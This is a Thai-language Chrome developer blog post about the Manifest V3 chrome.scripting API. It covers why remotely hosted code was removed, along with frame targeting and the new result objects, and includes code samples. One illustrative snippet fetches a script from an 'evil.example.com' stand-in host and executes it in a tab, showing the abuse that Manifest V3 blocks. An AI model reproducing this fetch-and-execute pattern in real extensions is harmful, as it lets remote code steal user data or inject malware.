ขอแนะนำ chrome.scripting

Manifest V3 มีการเปลี่ยนแปลงหลายอย่างในแพลตฟอร์มส่วนขยายของ Chrome ในโพสต์นี้ เราจะมาดูแรงจูงใจและการเปลี่ยนแปลงที่เกิดขึ้นจากการเปลี่ยนแปลงที่โดดเด่นที่สุดอย่างหนึ่ง นั่นก็คือการเปิดตัว chrome.scripting API

chrome.scripting คืออะไร

chrome.scripting เป็นเนมสเปซใหม่ที่เปิดตัวใน Manifest V3 ซึ่งมีหน้าที่รับผิดชอบความสามารถในการแทรกสคริปต์และสไตล์

นักพัฒนาซอฟต์แวร์ที่สร้างส่วนขยาย Chrome มาก่อนอาจคุ้นเคยกับเมธอด Manifest V2 ใน Tabs API เช่น chrome.tabs.executeScript และ chrome.tabs.insertCSS วิธีการเหล่านี้ช่วยให้ส่วนขยายแทรกสคริปต์และสไตล์ชีตลงในหน้าเว็บได้ตามลำดับ ในไฟล์ Manifest V3 ความสามารถเหล่านี้ได้ย้ายไปยัง chrome.scripting และเราวางแผนที่จะขยาย API นี้พร้อมด้วยความสามารถใหม่ๆ บางส่วนในอนาคต

เหตุผลที่ควรสร้าง API ใหม่

เมื่อเกิดการเปลี่ยนแปลงเช่นนี้ คำถามแรกๆ ที่มักจะเกิดขึ้นคือ "ทำไม"

ปัจจัยหลายประการทำให้ทีม Chrome ตัดสินใจที่จะเปิดตัวเนมสเปซใหม่สําหรับสคริปต์ ประการแรก Tabs API เป็นเหมือนลิ้นชักเก็บของกระจุกกระจิกสำหรับฟีเจอร์ ประการที่ 2 เราต้องทําการเปลี่ยนแปลงที่ทําให้ใช้งานไม่ได้กับ executeScript API ที่มีอยู่ ประการที่ 3 เราทราบดีว่าต้องการขยายความสามารถของสคริปต์สําหรับส่วนขยาย ข้อกังวลเหล่านี้แสดงให้เห็นอย่างชัดเจนถึงความจำเป็นที่ต้องมีเนมสเปซใหม่เพื่อรองรับความสามารถในการเขียนสคริปต์

ลิ้นชักเก็บของกระจุกกระจิก

ปัญหาหนึ่งที่กวนใจทีมส่วนขยายในช่วง 2-3 ปีที่ผ่านมาคือchrome.tabs API มีการใช้งานมากเกินไป เมื่อเปิดตัว API นี้เป็นครั้งแรก ความสามารถส่วนใหญ่ที่ API มอบให้เกี่ยวข้องกับแนวคิดทั่วไปของแท็บเบราว์เซอร์ แต่ถึงอย่างนั้น ฟีเจอร์ต่างๆ ก็ยังมีอยู่มากมาย และยิ่งเพิ่มมากขึ้นเรื่อยๆ ตลอดหลายปีที่ผ่านมา

เมื่อมีการเปิดตัว Manifest V3 นั้น Tabs API ได้เติบโตขึ้นเพื่อให้ครอบคลุมการจัดการแท็บขั้นพื้นฐาน การจัดการการเลือก การจัดระเบียบหน้าต่าง การรับส่งข้อความ การควบคุมการซูม การนำทางพื้นฐาน การเขียนสคริปต์ และความสามารถอื่นๆ อีกเล็กน้อย แม้ว่าทั้งหมดนี้จะมีความสำคัญ แต่ก็อาจเป็นงานหนักสำหรับนักพัฒนาแอปที่กำลังเริ่มต้นใช้งานและสำหรับทีม Chrome ในขณะที่เราทำการบำรุงรักษาแพลตฟอร์มและพิจารณาคำขอจากชุมชนนักพัฒนาซอฟต์แวร์

ปัจจัยที่ทำให้เกิดความซับซ้อนอีกประการหนึ่งคือ ผู้ใช้ไม่ค่อยเข้าใจสิทธิ์ tabs แม้ว่าสิทธิ์อื่นๆ อีกมากมายจะจำกัดการเข้าถึง API หนึ่งๆ (เช่น storage) แต่สิทธิ์นี้ค่อนข้างผิดปกติตรงที่ให้สิทธิ์ส่วนขยายเข้าถึงพร็อพเพอร์ตี้ที่มีความละเอียดอ่อนในอินสแตนซ์แท็บเท่านั้น (และตามส่วนขยายจะส่งผลต่อ Windows API ด้วย) เราเข้าใจดีว่านักพัฒนาส่วนขยายจํานวนมากเข้าใจผิดคิดว่าต้องมีสิทธิ์นี้เพื่อเข้าถึงเมธอดใน Tabs API เช่น chrome.tabs.create หรือ chrome.tabs.executeScript การย้ายฟังก์ชันออกจาก Tabs API จะช่วยลดความสับสนนี้

การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบ

เมื่อออกแบบไฟล์ Manifest V3 ปัญหาสำคัญอย่างหนึ่งที่เราต้องการแก้ไขคือการละเมิดและมัลแวร์ที่ "โค้ดที่โฮสต์จากระยะไกล" ซึ่งก็คือโค้ดที่ทำงานอยู่แต่ไม่รวมอยู่ในแพ็กเกจส่วนขยาย ผู้เขียนส่วนขยายที่ละเมิดมักจะเรียกใช้สคริปต์ที่ดึงมาจากเซิร์ฟเวอร์ระยะไกลเพื่อขโมยข้อมูลผู้ใช้ แทรกมัลแวร์ และหลบเลี่ยงการตรวจจับ แม้ว่าผู้แสดงที่ดีจะใช้ความสามารถนี้ได้เช่นกัน แต่สุดท้ายแล้วเรารู้สึกว่ามันอันตรายเกินกว่าที่จะเป็นเช่นนี้ต่อไป

ส่วนขยายเรียกใช้โค้ดที่ไม่ได้จัดกลุ่มได้ 2 วิธี แต่วิธีที่เกี่ยวข้องก็คือเมธอด Manifest V2 chrome.tabs.executeScript วิธีนี้ช่วยให้ส่วนขยายสามารถเรียกใช้สตริงโค้ดที่กำหนดเองในแท็บเป้าหมายได้ ซึ่งหมายความว่านักพัฒนาแอปที่เป็นอันตรายสามารถดึงข้อมูลสคริปต์ที่กำหนดเองจากเซิร์ฟเวอร์ระยะไกลและเรียกใช้สคริปต์นั้นในหน้าเว็บใดก็ได้ที่ส่วนขยายเข้าถึงได้ เราทราบดีว่าหากต้องการแก้ไขปัญหาเกี่ยวกับโค้ดระยะไกล เราจะต้องยกเลิกฟีเจอร์นี้

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

นอกจากนี้ เรายังต้องการแก้ไขปัญหาอื่นๆ ที่ละเอียดอ่อนมากขึ้นเกี่ยวกับการออกแบบของไฟล์ Manifest เวอร์ชัน 2 และทำให้ API เป็นเครื่องมือที่มีประสิทธิภาพและคาดการณ์ได้มากขึ้น

แม้ว่าเราอาจเปลี่ยนลายเซ็นของเมธอดนี้ภายใน Tabs API แต่เราคิดว่าระหว่างการเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นทั้งหมดและการเปิดตัวความสามารถใหม่ (กล่าวถึงในส่วนถัดไป) การพักสายตาจะเป็นเรื่องง่ายสำหรับทุกคน

ขยายขีดความสามารถของสคริปต์

อีกปัจจัยหนึ่งในการพิจารณาที่ใช้ในกระบวนการออกแบบไฟล์ Manifest V3 คือความปรารถนาที่จะนำความสามารถในการเขียนสคริปต์เพิ่มเติมมาสู่แพลตฟอร์มส่วนขยายของ Chrome กล่าวโดยละเอียดคือ เราต้องการเพิ่มความรองรับสคริปต์เนื้อหาแบบไดนามิกและขยายความสามารถของเมธอด executeScript

การรองรับสคริปต์เนื้อหาแบบไดนามิกเป็นคำขอฟีเจอร์ที่ Chromium ได้รับมาอย่างยาวนาน ในปัจจุบัน ส่วนขยาย Chrome ไฟล์ Manifest V2 และ V3 จะประกาศสคริปต์เนื้อหาแบบคงที่ได้เฉพาะในไฟล์ manifest.json เท่านั้น แพลตฟอร์มไม่ได้ให้วิธีลงทะเบียนสคริปต์เนื้อหาใหม่ แก้ไขการลงทะเบียนสคริปต์เนื้อหา หรือยกเลิกการลงทะเบียนสคริปต์เนื้อหาขณะรันไทม์

แม้ว่าเราจะทราบดีว่าต้องการจัดการกับคำขอฟีเจอร์นี้ใน Manifest V3 แต่ API ที่มีอยู่ของเราก็ดูไม่เหมาะที่จะใช้ เรายังคิดว่าการใช้ Content Scripts API ของ Firefox สอดคล้องกันด้วย แต่ก่อนหน้านี้เราพบข้อเสียสำคัญ 2 ประการในแนวทางนี้ ก่อนอื่น เราทราบว่าเราอาจใช้ลายเซ็นที่เข้ากันไม่ได้ (เช่น ไม่รองรับพร็อพเพอร์ตี้ code) ประการที่ 2 API ของเรามีชุดข้อจำกัดในการออกแบบที่ต่างออกไป (เช่น ต้องมีการลงทะเบียนเพื่อให้คงอยู่ได้เกินกว่าอายุการใช้งานของ Service Worker) สุดท้ายนี้ เนมสเปซนี้อาจทำให้เราไปยัง ฟังก์ชันการทำงานของสคริปต์เนื้อหา ซึ่งเรากำลังพิจารณาที่จะเขียนสคริปต์ในส่วนขยายให้กว้างขึ้น

ในด้าน executeScript เราต้องการขยายความสามารถของ API นี้ให้มากกว่าที่ Tabs API เวอร์ชันเก่ารองรับ กล่าวอย่างเจาะจงคือ เราต้องการรองรับฟังก์ชันและอาร์กิวเมนต์ กำหนดเป้าหมายเฟรมที่เฉพาะเจาะจงได้ง่ายขึ้น และกำหนดเป้าหมายบริบทที่ไม่ใช่ "แท็บ"

ในอนาคต เราจะพิจารณาวิธีที่ส่วนขยายโต้ตอบกับ PWA ที่ติดตั้งไว้และบริบทอื่นๆ ที่ไม่ได้เชื่อมโยงกับ "แท็บ" ในเชิงแนวคิด

การเปลี่ยนแปลงระหว่าง tabs.executeScript กับ scripting.executeScript

เราจะมาเจาะลึกความคล้ายคลึงและความแตกต่างระหว่าง chrome.tabs.executeScript กับ chrome.scripting.executeScript กันต่อในโพสต์นี้

การแทรกฟังก์ชันที่มีอาร์กิวเมนต์

เมื่อพิจารณาถึงวิธีที่แพลตฟอร์มจะต้องพัฒนาเนื่องด้วยข้อจำกัดของโค้ดที่โฮสต์จากระยะไกล เราก็อยากหาสมดุลระหว่างศักยภาพดิบของการดำเนินการโค้ดที่กำหนดเองและการอนุญาตสคริปต์เนื้อหาแบบคงที่เท่านั้น โซลูชันที่เราพบคืออนุญาตให้ส่วนขยายแทรกฟังก์ชันเป็นสคริปต์เนื้อหาและส่งอาร์เรย์ของค่าเป็นอาร์กิวเมนต์

เรามาดูตัวอย่างคร่าวๆ กัน (คำกล่าวเกินจริง) สมมติว่าเราต้องการแทรกสคริปต์ทักทายผู้ใช้ด้วยชื่อเมื่อผู้ใช้คลิกปุ่มการทำงานของส่วนขยาย (ไอคอนในแถบเครื่องมือ) ในไฟล์ Manifest V2 เราสามารถสร้างสตริงโค้ดแบบไดนามิกและเรียกใช้สคริปต์นั้นในหน้าปัจจุบัน

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

แม้ว่าส่วนขยาย Manifest V3 จะใช้โค้ดที่ไม่ได้รวมอยู่กับส่วนขยายไม่ได้ แต่เป้าหมายของเราคือการคงความยืดหยุ่นบางอย่างที่บล็อกโค้ดที่กำหนดเองเปิดใช้สำหรับส่วนขยาย Manifest V2 แนวทางการใช้ฟังก์ชันและอาร์กิวเมนต์ทำให้ผู้ตรวจสอบ ผู้ใช้ และฝ่ายที่สนใจอื่นๆ ของ Chrome เว็บสโตร์ประเมินความเสี่ยงที่เกิดจากส่วนขยายได้แม่นยำขึ้น ขณะเดียวกันก็ช่วยให้นักพัฒนาซอฟต์แวร์แก้ไขพฤติกรรมรันไทม์ของส่วนขยายตามการตั้งค่าของผู้ใช้หรือสถานะของแอปพลิเคชันได้ด้วย

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

เฟรมการกำหนดเป้าหมาย

นอกจากนี้ เรายังต้องการปรับปรุงวิธีที่นักพัฒนาแอปโต้ตอบกับเฟรมใน API ที่แก้ไขแล้วด้วย executeScript เวอร์ชันไฟล์ Manifest V2 อนุญาตให้นักพัฒนาแอปกําหนดเป้าหมายเฟรมทั้งหมดในแท็บหรือเฟรมที่เฉพาะเจาะจงในแท็บ คุณใช้ chrome.webNavigation.getAllFrames เพื่อดูรายการเฟรมทั้งหมดในแท็บได้

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

ในไฟล์ Manifest เวอร์ชัน 3 เราได้แทนที่พร็อพเพอร์ตี้จำนวนเต็ม frameId (ไม่บังคับ) ในแอตทริบิวต์ options ด้วยอาร์เรย์จำนวนเต็ม frameIds (ไม่บังคับ) ซึ่งช่วยให้นักพัฒนาแอปกำหนดเป้าหมายเฟรมหลายเฟรมในการเรียก API ครั้งเดียวได้

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

ผลการฉีดสคริปต์

นอกจากนี้เรายังปรับปรุงวิธีการส่งคืนผลลัพธ์การแทรกสคริปต์ในไฟล์ Manifest V3 อีกด้วย "ผลลัพธ์" ก็คือ ข้อความสุดท้ายที่ได้รับการประเมินในสคริปต์ ให้คิดว่าค่าเป็นเหมือนค่าที่ส่งคืนเมื่อเรียกใช้ eval() หรือเรียกใช้บล็อกโค้ดในคอนโซลเครื่องมือสำหรับนักพัฒนาเว็บใน Chrome แต่มีการเรียงลำดับเพื่อส่งต่อผลลัพธ์ในกระบวนการต่างๆ

ในไฟล์ Manifest V2 นั้น executeScript และ insertCSS จะแสดงผลอาร์เรย์ของผลลัพธ์ของการดำเนินการธรรมดา ซึ่งไม่เป็นปัญหาหากคุณมีจุดแทรกเพียงจุดเดียว แต่ระบบไม่รับประกันลําดับผลลัพธ์เมื่อแทรกลงในหลายเฟรม จึงไม่สามารถระบุได้ว่าผลลัพธ์ใดเชื่อมโยงกับเฟรมใด

มาดูตัวอย่างที่เป็นรูปธรรมกัน นั่นคืออาร์เรย์ results ที่แสดงผลโดยส่วนขยายเดียวกันใน Manifest V2 และ Manifest V3 ส่วนขยายทั้ง 2 เวอร์ชันจะแทรกสคริปต์เนื้อหาเดียวกัน และเราจะเปรียบเทียบผลลัพธ์ในหน้าเดโมเดียวกัน

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

เมื่อเรียกใช้ไฟล์ Manifest V2 เราจะแสดงผลอาร์เรย์ของ [1, 0, 5] ผลลัพธ์ใดสอดคล้องกับเฟรมหลักและผลลัพธ์ใดสำหรับ iframe ส่วนผลตอบแทนนั้นไม่ได้บอกถึงค่า ทำให้เราไม่ทราบแน่ชัดว่า

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

ในเวอร์ชัน Manifest V3 ตอนนี้ results มีอาร์เรย์ของออบเจ็กต์ผลลัพธ์แทนอาร์เรย์ของผลการประเมินเท่านั้น และออบเจ็กต์ผลลัพธ์จะระบุรหัสของเฟรมสำหรับผลลัพธ์แต่ละรายการอย่างชัดเจน ซึ่งช่วยให้นักพัฒนาซอฟต์แวร์ใช้ผลลัพธ์และดำเนินการในเฟรมที่เจาะจงได้ง่ายขึ้น

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

สรุป

การอัปเกรดเวอร์ชันไฟล์ Manifest เป็นโอกาสอันหายากในการคิดใหม่และปรับปรุง API ของส่วนขยายให้ทันสมัย เป้าหมายของเราสำหรับไฟล์ Manifest V3 คือปรับปรุงประสบการณ์ของผู้ใช้ปลายทางด้วยการทำให้ส่วนขยายปลอดภัยยิ่งขึ้น ในขณะเดียวกันก็ปรับปรุงประสบการณ์ของนักพัฒนาแอปด้วย การเปิดตัว chrome.scripting ในไฟล์ Manifest V3 ช่วยให้เราสามารถช่วยล้างข้อมูล Tabs API, ปรับโฉม executeScript เพื่อแพลตฟอร์มส่วนขยายที่ปลอดภัยยิ่งขึ้น และวางรากฐานสำหรับความสามารถใหม่ของสคริปต์ที่จะเปิดตัวในช่วงปลายปีนี้